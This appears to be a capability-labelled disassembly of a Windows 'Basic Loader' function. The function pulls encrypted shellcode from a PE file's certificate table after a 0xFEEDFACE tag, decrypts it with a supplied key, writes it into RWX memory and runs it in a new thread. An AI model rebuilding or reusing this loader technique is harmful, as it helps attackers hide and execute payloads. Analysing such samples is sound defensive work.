Function at 0x14001129e
Capabilities:
Allocate or change rwx memory
Create thread
Get file size
Inject thread
Read file on windows
Spawn thread to rwx shellcode
Terminate process

Disassembly:
jmp 0x140011eb0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x830
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x16c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x858]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x7e0], rax
lea rcx, [0x140025172]
call fcn.1400113c0
nop
lea rcx, str._n__:_Basic_Loader..._n_n
call fcn.1400111b3
nop
cmp dword [rbp + 0x810], 3
je 0x140011f4e
lea rcx, str.___:_Missing_PE_path_or_Encryption_Key..._n
call fcn.1400111b3
nop
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x818]
mov rdx, qword [rcx + rax]
lea rcx, str.___:_Usage:__s__PE_PATH___Encryption_Key__n
call fcn.1400111b3
nop
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0xff
rep stosb byte [rdi], al
mov qword [rbp + 0x128], 0xffffffffffffffff
mov eax, 8
imul rax, rax, 2
mov rcx, qword [rbp + 0x818]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x148], rax
mov dword [rbp + 0x164], 0
mov dword [rbp + 0x184], 0
mov dword [rbp + 0x1a4], 0
mov qword [rbp + 0x1c8], 0
mov qword [rbp + 0x1e8], 0
mov qword [rbp + 0x208], 0
mov qword [rbp + 0x228], 0
mov dword [rbp + 0x244], 0
mov qword [rbp + 0x268], 0
mov dword [rbp + 0x284], 0
mov qword [rbp + 0x2a8], 0
mov qword [rbp + 0x2c8], 0
mov qword [rbp + 0x2e8], 0
mov qword [rbp + 0x308], 0
lea rax, [rbp + 0x330]
mov rdi, rax
xor eax, eax
mov ecx, pe_nt_image_headers64
rep stosb byte [rdi], al
mov dword [rbp + 0x434], 0
mov qword [rbp + 0x458], 0xffffffffffffffff
mov qword [rbp + 0x478], 0
mov eax, 8
imul rax, rax, 1
mov r9d, 0xff
mov rcx, qword [rbp + 0x818]
mov r8, qword [rcx + rax]
mov edx, 0xff
lea rcx, [rbp + 0x10]
call fcn.140012810
nop
lea rdx, [rbp + 0x10]
lea rcx, str.__:_Loading_Parsing_PE_File__s_n
call fcn.1400111b3
nop
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0x458], rax
cmp qword [rbp + 0x458], 0xffffffffffffffff
jne 0x1400120f0
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea r8, [rbp + 0x10]
lea rdx, str.___:_Could_not_read_file__s_n
mov rcx, rax
call fcn.14001137a
nop
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
xor edx, edx
mov rcx, qword [rbp + 0x458]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x244], eax
mov eax, dword [rbp + 0x244]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x268], rax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x434]
mov r8d, dword [rbp + 0x244]
mov rdx, qword [rbp + 0x268]
mov rcx, qword [rbp + 0x458]
call qword [sym.imp.KERNEL32.dll_ReadFile]
nop
cmp dword [rbp + 0x434], 0
jne 0x140012178
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea r8, [rbp + 0x10]
lea rdx, str.___:_Could_not_read_file__s_n
mov rcx, rax
call fcn.14001137a
nop
jmp 0x1400125b0
mov rax, qword [rbp + 0x268]
mov qword [rbp + 0x2e8], rax
mov rax, qword [rbp + 0x2e8]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400121c0
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea r8, [rbp + 0x10]
lea rdx, str.___:__s_is_not_a_valid_PE_file_n
mov rcx, rax
call fcn.14001137a
nop
jmp 0x1400125b0
mov rax, qword [rbp + 0x2e8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x268]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x308], rax
lea rax, [rbp + 0x6e0]
mov rcx, qword [rbp + 0x308]
mov rdi, rax
lea rsi, [rcx + 0x18]
mov ecx, pe_nt_image_headers64
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x330]
lea rcx, [rbp + 0x6e0]
mov rdi, rax
mov rsi, rcx
mov ecx, pe_nt_image_headers64
rep movsb byte [rdi], byte [rsi]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14001119f
test eax, eax
je 0x140012242
movzx eax, word [rbp + 0x330]
cmp eax, 0x20b
jne 0x140012240
mov dword [rbp + 0x284], 2
jmp 0x14001225a
movzx eax, word [rbp + 0x330]
cmp eax, 0x10b
jne 0x14001225a
mov dword [rbp + 0x284], 0xfffffffe
mov eax, dword [rbp + 0x284]
add eax, 4
mov eax, eax
mov eax, dword [rbp + rax*8 + 0x3a0]
mov dword [rbp + 0x1a4], eax
mov eax, dword [rbp + 0x284]
add eax, 4
mov eax, eax
mov eax, dword [rbp + rax*8 + 0x3a4]
mov qword [rbp + 0x1c8], rax
mov eax, dword [rbp + 0x1a4]
mov rcx, qword [rbp + 0x268]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x1e8], rax
mov edx, dword [rbp + 0x1a4]
lea rcx, str.__:_Certificate_Table_RVA__x_n
call fcn.1400111b3
nop
mov rdx, qword [rbp + 0x1c8]
lea rcx, str.__:_Certificate_Table_Size__d_n
call fcn.1400111b3
nop
mov eax, dword [rbp + 0x1a4]
mov rcx, qword [rbp + 0x268]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x478], 0
jmp 0x140012304
mov rax, qword [rbp + 0x478]
inc rax
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x1c8]
cmp qword [rbp + 0x478], rax
jae 0x140012433
mov rax, qword [rbp + 0x478]
mov rcx, qword [rbp + 0x2c8]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
cmp eax, 0xfe
jne 0x14001242e
mov rax, qword [rbp + 0x478]
mov rcx, qword [rbp + 0x2c8]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax + 1]
cmp eax, 0xed
jne 0x14001242e
mov rax, qword [rbp + 0x478]
mov rcx, qword [rbp + 0x2c8]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax + 2]
cmp eax, 0xfa
jne 0x14001242e
mov rax, qword [rbp + 0x478]
mov rcx, qword [rbp + 0x2c8]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax + 3]
cmp eax, 0xce
jne 0x14001242e
mov rax, qword [rbp + 0x478]
mov rcx, qword [rbp + 0x2c8]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax + 3]
mov rcx, qword [rbp + 0x478]
mov rdx, qword [rbp + 0x2c8]
add rdx, rcx
mov rcx, rdx
movzx ecx, byte [rcx + 2]
mov rdx, qword [rbp + 0x478]
mov rdi, qword [rbp + 0x2c8]
add rdi, rdx
mov rdx, rdi
movzx edx, byte [rdx + 1]
mov rdi, qword [rbp + 0x478]
mov rsi, qword [rbp + 0x2c8]
add rsi, rdi
mov rdi, rsi
movzx edi, byte [rdi]
mov dword [rsp + 0x20], eax
mov r9d, ecx
mov r8d, edx
mov edx, edi
lea rcx, str.__:_Tag_Found_0x_x_x_x_x
call fcn.1400111b3
nop
mov rax, qword [rbp + 0x478]
add rax, 8
mov dword [rbp + 0x184], eax
jmp 0x140012433
jmp 0x1400122f3
mov eax, dword [rbp + 0x184]
mov rcx, qword [rbp + 0x478]
add rcx, 8
cmp rax, rcx
je 0x14001246e
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.___:_Could_not_locate_data_shellcode
mov rcx, rax
call fcn.14001137a
nop
jmp 0x1400125b0
mov eax, dword [rbp + 0x184]
mov rcx, qword [rbp + 0x1c8]
sub rcx, rax
mov rax, rcx
mov dword [rbp + 0x164], eax
mov eax, dword [rbp + 0x164]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x208], rax
mov eax, dword [rbp + 0x164]
mov ecx, dword [rbp + 0x184]
mov rdx, qword [rbp + 0x2c8]
add rdx, rcx
mov rcx, rdx
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rbp + 0x208]
call fcn.1400111d1
nop
mov rcx, qword [rbp + 0x148]
call fcn.140011186
mov rcx, qword [rbp + 0x208]
mov qword [rsp + 0x20], rcx
mov r9d, eax
mov r8, qword [rbp + 0x148]
mov edx, dword [rbp + 0x164]
mov rcx, qword [rbp + 0x208]
call fcn.1400113e3
nop
mov edx, dword [rbp + 0x164]
lea rcx, str._n__:_Encrypted_Decrypted_Data_Size__d_n
call fcn.1400111b3
nop
mov eax, dword [rbp + 0x164]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x2a8], rax
mov eax, dword [rbp + 0x164]
mov qword [rbp + 0x7d8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov rcx, qword [rbp + 0x7d8]
mov r9, rcx
mov r8, qword [rbp + 0x208]
mov rdx, qword [rbp + 0x2a8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x2a8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x128], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
cmp qword [rbp + 0x268], 0
je 0x1400125c8
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.ucrtbased.dll_free]
nop
cmp qword [rbp + 0x208], 0
je 0x1400125e0
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.ucrtbased.dll_free]
nop
mov rcx, qword [rbp + 0x458]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x1400125f2
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001bf00]
call fcn.140011352
mov rax, rdi
mov rcx, qword [rbp + 0x7e0]
xor rcx, rbp
call fcn.1400111cc
lea rsp, [rbp + 0x7f0]
pop rdi
pop rsi
pop rbp
ret